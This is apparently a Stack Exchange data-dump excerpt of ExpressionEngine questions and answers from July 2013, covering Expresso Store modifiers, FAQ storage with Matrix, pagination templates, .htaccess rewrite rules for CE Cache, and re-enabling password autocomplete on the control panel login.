  <row Id="11651" PostTypeId="2" ParentId="11597" CreationDate="2013-07-03T10:54:08.500" Score="0" Body="&lt;p&gt;Maybe &lt;a href=&quot;https://github.com/ninefour/encode_decode.pi.ee_addon&quot; rel=&quot;nofollow&quot;&gt;Encode/Decode Plugin&lt;/a&gt; might help? I haven't used it myself, so your mileage may vary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the Docs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This plug-in is designed to help you encode and decode a string of text. Typical use would be to encode a string so it can be safely passed from one page to another in the URL. Includes support for json, base64, htmlspecialchars, htmlentities, uuencode and rawurlencode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BASIC USAGE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:encode_decode style=&quot;url&quot; direction=&quot;encode&quot;}This is @/ test string{/exp:encode_decode}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2013-07-03T10:54:08.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11652" PostTypeId="2" ParentId="11646" CreationDate="2013-07-03T11:14:38.597" Score="1" Body="&lt;p&gt;Could it be anything to do with the User Key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/docs/user/key/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/user/key/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't used them before but it rang a bell...&lt;/p&gt;&#xA;" OwnerUserId="261" LastActivityDate="2013-07-03T11:14:38.597" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="11653" PostTypeId="1" CreationDate="2013-07-03T11:21:03.990" Score="0" ViewCount="398" Body="&lt;p&gt;I'm trying to order a product that has one or more modifiers. I added a modifier which let's the user order a box or bag of a specific product. Now I'd like to be able to purchase that modifier with a push of a button. So I can show both modifiers with an amount, the modifier name and the order button to add it to the cart. Is such a thing possible?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{modifiers}&#xA;{if modifier_type == 'var_single_sku'}&#xA;{modifier_options}&#xA;                &amp;lt;table border=&quot;0&quot;&amp;gt;&#xA;                    &amp;lt;thead&amp;gt;&#xA;                        &amp;lt;th colspan=&quot;2&quot;&amp;gt;{option_name}&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;/thead&amp;gt;&#xA;                    &amp;lt;tbody&amp;gt;&#xA;                        &amp;lt;tr&amp;gt;&#xA;                            &amp;lt;td&amp;gt;&#xA;                                &amp;lt;input type=&quot;hidden&quot; value=&quot;{option_id}&quot; name=&quot;{modifier_input_name}&quot;&amp;gt;&#xA;                                &amp;lt;input type=&quot;text&quot; size=&quot;2&quot; id=&quot;frm-order-number&quot; value=&quot;1&quot; name=&quot;item_qty&quot; data-required=&quot;true&quot;&amp;gt;&#xA;                            &amp;lt;/td&amp;gt;&#xA;                            &amp;lt;td&amp;gt;&amp;lt;input type=&quot;submit&quot; title=&quot;Orderww&quot; value=&quot;Add&quot; title=&quot;Add to cart&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;/tr&amp;gt;&#xA;                    &amp;lt;/tbody&amp;gt;&#xA;                &amp;lt;/table&amp;gt;&#xA;{/modifier_options}&#xA;{/if}&#xA;{/modifiers}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1727" LastEditorUserId="104" LastEditDate="2013-07-04T09:43:10.890" LastActivityDate="2013-10-02T10:51:31.837" Title="Expresso Store: Order a single modifier in the store product tag" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11654" PostTypeId="2" ParentId="11653" CreationDate="2013-07-03T12:36:24.413" Score="1" Body="&lt;p&gt;If a product has more than one modifier then this wouldn't be possible as you'd need the user to select the options. A size modifier and a colour modifier for instance present two different choices so you couldn't have an individual quantity field or button for each one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you &lt;em&gt;did&lt;/em&gt; just have one modifier per product however then it may be possible to use the &lt;a href=&quot;https://exp-resso.com/docs/store/product_form_tag.html&quot; rel=&quot;nofollow&quot;&gt;Product Form tag&lt;/a&gt; which allows the customer to specify quantities for more than one product at a time and then add them all to the cart at once. It's primary use however, is intended for individual products so it would take a little creative templating and possible a query or two to get it to work with modifiers of the same product.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-07-03T12:36:24.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11655" PostTypeId="1" CreationDate="2013-07-03T12:54:15.907" Score="2" ViewCount="100" Body="&lt;p&gt;Using EE to display FAQ's on my site. Each FAQ will have a link to an individual page for SEO reasons. I have two options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1: Using EE's native channel entries and adding FAQ's individually/importing them as a batch with DataGrab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2: Using a matrix field and having them all stored in one channel entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the faq's to display as separate urls I will use the additional matrix_url_title field type:  &lt;a href=&quot;https://github.com/pixelandtonic/matrix_url_title&quot; rel=&quot;nofollow&quot;&gt;https://github.com/pixelandtonic/matrix_url_title&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now to me the standard entries way seems more efficient. However, can someone tell me which one is the best way in terms of Database queries etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Ian&lt;/p&gt;&#xA;" OwnerUserId="1728" LastActivityDate="2013-07-08T16:51:46.290" Title="Using matrix for FAQ's" Tags="|matrix|pixelandtonic|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11657" PostTypeId="1" AcceptedAnswerId="11667" CreationDate="2013-07-03T14:59:39.177" Score="1" ViewCount="207" Body="&lt;p&gt;Since &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/about/changelog.html#version-2-5-3&quot; rel=&quot;nofollow&quot;&gt;ExpressionEngine 2.5.3&lt;/a&gt; the form used to log into the control panel has &lt;code&gt;autocomplete=&quot;off&quot;&lt;/code&gt; set on the password input field. This means that browsers won't offer to remember passwords when they're entered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When creating new passwords for super-admins I &lt;a href=&quot;http://www.macworld.com/article/1145804/passwordassistant.html&quot; rel=&quot;nofollow&quot;&gt;generate a long, unique passwords using Keychain&lt;/a&gt;. I'll never remember these, and there's no way my clients will either. Because of this, I always recommend that people have their browsers remember passwords. I believe this is in every way more secure than remembering the password (i.e. writing down on a sticky note somewhere) and entering it (i.e. having it read by a keylogger) every time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My question is:&lt;/strong&gt; can the &lt;code&gt;autocomplete=&quot;off&quot;&lt;/code&gt; attribute be removed from the password input field somehow?&lt;/p&gt;&#xA;" OwnerUserId="163" LastEditorUserId="163" LastEditDate="2013-07-03T15:04:57.280" LastActivityDate="2013-07-03T19:46:09.193" Title="Re-enable password autocomplete for CP login" Tags="|login|admin|password|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11658" PostTypeId="2" ParentId="11655" CreationDate="2013-07-03T15:01:56.310" Score="2" Body="&lt;p&gt;I'm not sure about the differences DB queries-wise, but in terms of user experience, you may find entries the way to go.  For example, as the number of FAQs increases, it may be useful to group them by categories, for example - natively pretty simple to do as entries.  Not to mention the admin's entry workflow would be the same as it would be everywhere else.  The advantage Matrix offers, potentially, is actively determining order.  To do that with entries natively can be a bit of a pain (though &lt;a href=&quot;http://devot-ee.com/add-ons/low-reorder&quot; rel=&quot;nofollow&quot;&gt;Low Reorder&lt;/a&gt; makes that pretty simple).&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-07-03T15:01:56.310" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11659" PostTypeId="2" ParentId="11645" CreationDate="2013-07-03T15:45:43.250" Score="2" Body="&lt;p&gt;For the forum you could use the Ellis Lab add on. I've used it a couple of times and can't say I'm a fan but it will do the job and you can template it as simple or as complex as you need (there's a good starting template framework around I believe). To be honest I'd probably look at using some non-EE solution unless you needed member integration between the Forum and other parts of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blogs are simple with EE. Do it like you suggest and use the Comments module to handle your comments. There are some good examples in the EE docs on how to do this.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-07-03T15:45:43.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11660" PostTypeId="1" AcceptedAnswerId="11678" CreationDate="2013-07-03T15:53:18.337" Score="2" ViewCount="158" Body="&lt;p&gt;This has bugged me for a while and I'd really like to know what the heck is going on. Here's my template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;header&amp;gt;&#xA;    {!-- Pre-Pagination Header Content --}&#xA;&#xA;{exp:channel:entries&#xA;    channel='mychannel'&#xA;    limit='10'&#xA;    disable='member_data'&#xA;    paginate='both'&#xA;}&#xA;    {if count == 1}&#xA;        {paginate}&#xA;            {pagination_links}&#xA;                &amp;lt;ul class=&quot;pagination&quot;&amp;gt;&#xA;                    {previous_page}&#xA;                        &amp;lt;li class=&quot;prev&quot;&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;&amp;amp;laquo;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    {/previous_page}&#xA;                    &amp;lt;span class=&quot;numbers&quot;&amp;gt;&#xA;                        {page}&#xA;                            &amp;lt;li{if current_page} class=&quot;here&quot;{/if}&amp;gt;{if current_page == ''}&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;{/if}{pagination_page_number}{if current_page == ''}&amp;lt;/a&amp;gt;{/if}&amp;lt;/li&amp;gt;&#xA;                        {/page}&#xA;                    &amp;lt;/span&amp;gt;&amp;lt;!--/.numbers--&amp;gt;&#xA;                    {next_page}&#xA;                        &amp;lt;li class=&quot;next&quot;&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;&amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    {/next_page}&#xA;                &amp;lt;/ul&amp;gt;&amp;lt;!--/.pagination--&amp;gt;&#xA;            {/pagination_links}&#xA;        {/paginate}&#xA;    &amp;lt;/header&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;listing&quot;&amp;gt;&#xA;    {/if}&#xA;&#xA;    {!-- Listing Item Content --}&#xA;&#xA;    {if count == total_results}&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!--/.listing--&amp;gt;&#xA;&#xA;        &amp;lt;footer&amp;gt;&#xA;            {paginate}&#xA;                {pagination_links}&#xA;                    &amp;lt;ul class=&quot;pagination&quot;&amp;gt;&#xA;                        {previous_page}&#xA;                            &amp;lt;li class=&quot;prev&quot;&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;&amp;amp;laquo;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        {/previous_page}&#xA;                        &amp;lt;span class=&quot;numbers&quot;&amp;gt;&#xA;                            {page}&#xA;                                &amp;lt;li{if current_page} class=&quot;here&quot;{/if}&amp;gt;{if current_page == ''}&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;{/if}{pagination_page_number}{if current_page == ''}&amp;lt;/a&amp;gt;{/if}&amp;lt;/li&amp;gt;&#xA;                            {/page}&#xA;                        &amp;lt;/span&amp;gt;&amp;lt;!--/.numbers--&amp;gt;&#xA;                        {next_page}&#xA;                            &amp;lt;li class=&quot;next&quot;&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;&amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        {/next_page}&#xA;                    &amp;lt;/ul&amp;gt;&amp;lt;!--/.pagination--&amp;gt;&#xA;                {/pagination_links}&#xA;            {/paginate}&#xA;        &amp;lt;/footer&amp;gt;&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The pagination inside the header displays fine, but in the footer, the pagination &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt; displays &lt;em&gt;after&lt;/em&gt; the &lt;code&gt;&amp;lt;footer&amp;gt;&lt;/code&gt; tag it's wrapped in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why? Why does ExpressionEngine do that? Does it have to do with the &lt;code&gt;paginate&lt;/code&gt; parameter? Is there a way to fix it besides buying AB Pagination?&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-07-04T22:01:59.840" Title="Why Does Pagination Appear Outside HTML Tag Wrapper?" Tags="|pagination|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11661" PostTypeId="2" ParentId="11636" CreationDate="2013-07-03T16:11:03.730" Score="1" Body="&lt;p&gt;ExpressionEngine doesn't allow this by default. It's possible another add-on has built this into their product, but Safecracker Registration just combined member registrations with Safecracker to get the benefit of channel entries. So by design, Safecracker Registration is limited by what the native member module can do, at least as far the settings go.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-07-03T16:11:03.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11662" PostTypeId="1" CreationDate="2013-07-03T16:11:10.997" Score="2" ViewCount="67" Body="&lt;p&gt;I am currently using a modification on a certain product.  It's set up basically as a price modifier however, the weight on one of the products has changed.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is possible to modify the weight on a selected modifier without creating a separate product?  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('modifiers[10]').change(function(){&#xA;if($(this).val() == '42'){ &#xA;$('.store_product_weight').text(' 44&amp;lt;small&amp;gt;lb.&amp;lt;/small&amp;gt;/ 5&amp;lt;small&amp;gt;Gal&amp;lt;/small&amp;gt;Pails'); // Change Text&#xA;}&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure I can modify the text but what about the actual value?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1224" LastActivityDate="2013-10-02T02:50:42.617" Title="Update weight of a product with jquery upon select." Tags="|expresso-store|modifiers|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11663" PostTypeId="1" CreationDate="2013-07-03T16:33:05.700" Score="1" ViewCount="178" Body="&lt;p&gt;I've got a P&amp;amp;T field for US states set up with values and labels like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AL : Alabama&#xA;AK : Alaska&#xA;AZ : Arizona&#xA;AR : Arkansas&#xA;CA : California&#xA;CO : Colorado&#xA;etc...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to group entries by state, and the groups should be ordered by state name alphabetically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CHANNEL ENTRIES TAG:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;        channel=&quot;resource_links&quot;&#xA;        show_future_entries=&quot;yes&quot;&#xA;        show_expired=&quot;yes&quot;&#xA;        status=&quot;not closed&quot;&#xA;        order_by=&quot;resource_link_state&quot;&#xA;        sort=&quot;asc&quot;&#xA;        limit=&quot;9999&quot;&#xA;        dynamic=&quot;no&quot;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using some inline PHP to handle the grouping and that seems to be working fine. The problem is that the states are not coming back in ascending alpha order as I've tried to specify in my channel entries tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm getting: CA, CO, NM, NJ, OH, TX, LA, IL, FL, NY, NM, NY, AL, AK, AZ, AR, CT, DE, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://poms.mach1media.com/resource/links-by-state/&quot; rel=&quot;nofollow&quot;&gt;http://poms.mach1media.com/resource/links-by-state/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody else run into this problem and found a solution?&lt;/p&gt;&#xA;" OwnerUserId="1225" LastActivityDate="2013-07-04T03:21:10.820" Title="Channel entries tag sort by P&amp;T Field Pack Dropdown values" Tags="|channel-entries|pixelandtonic|field-pack|sort|pt-dropdown|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11664" PostTypeId="1" AcceptedAnswerId="11680" CreationDate="2013-07-03T18:10:48.110" Score="1" ViewCount="125" Body="&lt;p&gt;I am tring to add an international shipping method. But the Store USPS plugin uses &#xA;'API' =&gt; 'RateV4' Which is for domestic shipping. 'API' =&gt; 'RateV2' is for International Shipping. Do I need to just change some values in the default USPS Shipping plugin to make this work? &lt;/p&gt;&#xA;" OwnerUserId="295" LastActivityDate="2013-07-04T00:57:07.820" Title="Does Expresso Store Have a USPS International shipping plugin?" Tags="|expresso-store|shipping|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11665" PostTypeId="2" ParentId="11647" CreationDate="2013-07-03T18:42:05.557" Score="0" Body="&lt;p&gt;People have mentioned low Random, but the Randomizer plugin can also be used to add strings to just about anything (images, text, whole paragraphs, a class...) It's lightweight, it's easy to use (though you have to edit the PHP file to build the arrays) and it will insert the content before the page is rendered.&lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastActivityDate="2013-07-03T18:42:05.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11666" PostTypeId="2" ParentId="11655" CreationDate="2013-07-03T18:48:53.227" Score="1" Body="&lt;p&gt;I also like the idea of using entries instead of matrix fields - both for ease of maintenance, and so that - unless you're already using Matrix somehow else on this same site - to minimize the number of plugins/extensions being used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible to create a channel for the FAQ entries, and add a field to that channel that lets you specify the entry-order / question-order.&lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastActivityDate="2013-07-03T18:48:53.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11667" PostTypeId="2" ParentId="11657" CreationDate="2013-07-03T19:46:09.193" Score="1" Body="&lt;p&gt;Check out these instructions from the EllisLab forum:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You can just create your own CP theme by copying the file found at /system/expressionengine/views/accounts/login.php to /themes/cp_themes/my_theme/accounts/login.php and editing it to your liking. Now when you choose that theme instead of the default theme, EE will use your file instead. For all the files not found in your theme, EE will fall back to the default theme’s files.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/forums/viewthread/227881/#1035125&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/227881/#1035125&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="390" LastActivityDate="2013-07-03T19:46:09.193" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11668" PostTypeId="1" CreationDate="2013-07-03T20:18:38.333" Score="0" ViewCount="57" Body="&lt;p&gt;I am working on a feature where I need to get every entries category and that categories parent category. This is leading to a lot of DB queries. Is there a way to get the category of an entry and that categories parent. Ultimately I am after just the category url title.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Psuedo code&#xA;    {exp:channel:entries}&#xA;      {entry:category:url_title}&#xA;      {entry:category:parent_category:url_title&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1116" LastActivityDate="2013-09-01T22:29:59.870" Title="N+1 queries for categories" Tags="|channel-entries|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11670" PostTypeId="1" AcceptedAnswerId="11805" CreationDate="2013-07-03T20:58:53.500" Score="0" ViewCount="71" Body="&lt;p&gt;I am trying to pull images from the FF Matrix field of a weblog to go into a slider on my webpage (&lt;a href=&quot;http://www.hoekstratruck.com/index.php/work_ready/test/vehicle/78&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;).  Currently, I can have it pull from the weblog, but if I try to call the images, I get a server error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code on the page is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:weblog:entries weblog=&quot;wrv&quot; entry_id=&quot;{segment_4}&quot; disable=&quot;trackbacks|categories|member_data&quot;}&#xA;&#xA;    {if cf_wrv_images!=&quot;&quot;}&#xA;     &amp;lt;div id=&quot;slider2&quot;&amp;gt;&#xA;    {cf_wrv_images}&#xA;        &amp;lt;img src=&quot;{exp:imgsizer:size src=&quot;{cf_wrv_main_img}&quot; width=&quot;360&quot; justurl=&quot;yes&quot;}&quot; rel=&quot;{exp:imgsizer:size src=&quot;{cf_wrv_main_img}&quot; height=&quot;40&quot; justurl=&quot;yes&quot;}&quot;&amp;gt;&#xA;    {/cf_wrv_images}&#xA;    &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;    {/exp:weblog:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The weblog category is wrv.  Currently, the page is pulling the main image (which is used on &lt;a href=&quot;http://www.hoekstratruck.com/index.php/work_ready/test/&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt;) instead of the entry's images.  The code that isn't working is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {exp:weblog:entries weblog=&quot;wrv&quot; entry_id=&quot;{segment_4}&quot; disable=&quot;trackbacks|categories|member_data&quot;}&#xA;&#xA;    {if cf_wrv_images!=&quot;&quot;}&#xA;     &amp;lt;div id=&quot;slider2&quot;&amp;gt;&#xA;    {cf_wrv_images}&#xA;        &amp;lt;img src=&quot;{exp:imgsizer:size src=&quot;{img}&quot; width=&quot;360&quot; justurl=&quot;yes&quot;}&quot; rel=&quot;{exp:imgsizer:size src=&quot;{img}&quot; height=&quot;40&quot; justurl=&quot;yes&quot;}&quot;&amp;gt;&#xA;    {/cf_wrv_images}&#xA;    &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;    {/exp:weblog:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&quot;img&quot; is the column name that I'm trying to pull from, but when I insert it into src, I get a server error telling me that the page isn't formatted correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="1681" LastActivityDate="2013-07-09T20:43:48.740" Title="Pulling images from FF Matrix through a weblog" Tags="|ee1|image|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11671" PostTypeId="1" AcceptedAnswerId="11700" CreationDate="2013-07-03T20:59:32.327" Score="2" ViewCount="85" Body="&lt;p&gt;I have a site that is using the simplest of URL layouts and was just asked if they could change. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, they are as follows: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.domain.com/details/item &lt;br&gt;&#xA;www.domain.com/dates/item &lt;br&gt;&#xA;www.domain.com/topics/item &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where 'item' is a separate entry that is linked via playa field. So all links are simply &lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.domain.com/template_group/index&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and 'item' is {last_segment} which triggers the entry {url_title}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now they would like to shift this to &lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.domain.com/item/details &lt;br&gt;&#xA;www.domain.com/item/dates &lt;br&gt;&#xA;www.domain.com/item/topics &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something simple I am missing? I feel that each time I look at it, I start to over complicate it.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-07-05T11:15:46.047" Title="URL Structure Shifts" Tags="|ee2|playa|url|relationships|url-title|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11672" PostTypeId="1" AcceptedAnswerId="13376" CreationDate="2013-07-03T21:06:20.630" Score="4" ViewCount="3054" Body="&lt;p&gt;I'm in the process of migrating my sites to Media Temple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to change the htaccess file and add a '?' to successfully remove the 'index.php' from the URL. Without it I get &quot;No input file specified&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;RewriteRule ^(.*)$ /index.php?/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But i'm also running CE Cache, static caching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I edit the static cache handler to do the same?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#------------------- remove trailing slash -------------------&#xA;RewriteCond %{REQUEST_URI} !^/system [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteRule ^(.+)/$ /$1 [R=301,L,QSA]&#xA;&#xA;#------------------- index.php -------------------&#xA;#strip index.php from the URL if that is all that is given&#xA;RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /([^/]+/)*index\.php\ HTTP/&#xA;RewriteRule ^(([^/]+/)*)index\.php$ http://%{HTTP_HOST}/ [R=301,NS,L,QSA]&#xA;#strip index.php/* from the URL&#xA;RewriteCond %{THE_REQUEST} ^[^/]*/index\.php/ [NC]&#xA;RewriteRule ^index\.php/(.+) http://%{HTTP_HOST}/$1 [R=301,L,QSA]&#xA;&#xA;#------------------- CE Cache Static Driver -------------------&#xA;RewriteCond %{REQUEST_URI} !^/system [NC]&#xA;RewriteCond %{QUERY_STRING} !ACT|URL [NC]&#xA;RewriteCond %{REQUEST_METHOD} !=POST [NC]&#xA;RewriteCond %{DOCUMENT_ROOT}/static/ce_cache/242d7a/static%{REQUEST_URI}/index\.html -f [NC]&#xA;RewriteRule (.*) /_static_cache_handler.php%{REQUEST_URI}/index\.html [L,QSA]&#xA;&#xA;#------------------- EE -------------------&#xA;#rewrite all non-image/js/css urls back to index.php if they are not files or directories&#xA;RewriteCond $1 !\.(css|js|gif|jpe?g|png) [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L,QSA]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="527" LastActivityDate="2013-09-01T23:57:36.947" Title="&quot;no input file specified&quot; - .htaccess" Tags="|htaccess|ce-cache|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11673" PostTypeId="1" CreationDate="2013-07-03T21:22:07.590" Score="0" ViewCount="191" Body="&lt;p&gt;Anyone know the proper way to get data stored in a matrix row from the entry_submission_end hook for use in an addon?&lt;/p&gt;&#xA;" OwnerUserId="565" LastActivityDate="2013-10-02T14:51:31.800" Title="Get matrix row/cell data in entry_submission_end hook?" Tags="|add-on|matrix|add-on-development|extension|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11674" PostTypeId="2" ParentId="11672" CreationDate="2013-07-03T21:24:00.003" Score="0" Body="&lt;p&gt;This did it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;    RewriteEngine On&#xA;&#xA;    #------------------- remove trailing slash -------------------&#xA;    RewriteCond %{REQUEST_URI} !^/system [NC]&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteRule ^(.*)$ /index.php?/$1 [L,QSA]&#xA;&#xA;    #------------------- index.php -------------------&#xA;    #strip index.php from the URL if that is all that is given&#xA;    RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /([^/]+/)*index\.php\ HTTP/&#xA;    RewriteRule ^(([^/]+/)*)index\.php$ http://%{HTTP_HOST}/ [R=301,NS,L,QSA]&#xA;    #strip index.php/* from the URL&#xA;    RewriteCond %{THE_REQUEST} ^[^/]*/index\.php/ [NC]&#xA;    RewriteRule ^index\.php/(.+) http://%{HTTP_HOST}/$1 [R=301,L,QSA]&#xA;&#xA;    #------------------- CE Cache Static Driver -------------------&#xA;    RewriteCond %{REQUEST_URI} !^/system [NC]&#xA;    RewriteCond %{QUERY_STRING} !ACT|URL [NC]&#xA;    RewriteCond %{REQUEST_METHOD} !=POST [NC]&#xA;    RewriteCond %{DOCUMENT_ROOT}/static/ce_cache/242d7a/static%{REQUEST_URI}/index\.html -f [NC]&#xA;    RewriteRule (.*) /_static_cache_handler.php?%{REQUEST_URI}/index\.html [L,QSA]&#xA;&#xA;    #------------------- EE -------------------&#xA;    #rewrite all non-image/js/css urls back to index.php if they are not files or directories&#xA;    RewriteCond $1 !\.(css|js|gif|jpe?g|png) [NC]&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    RewriteRule ^(.*)$ /index.php?/$1 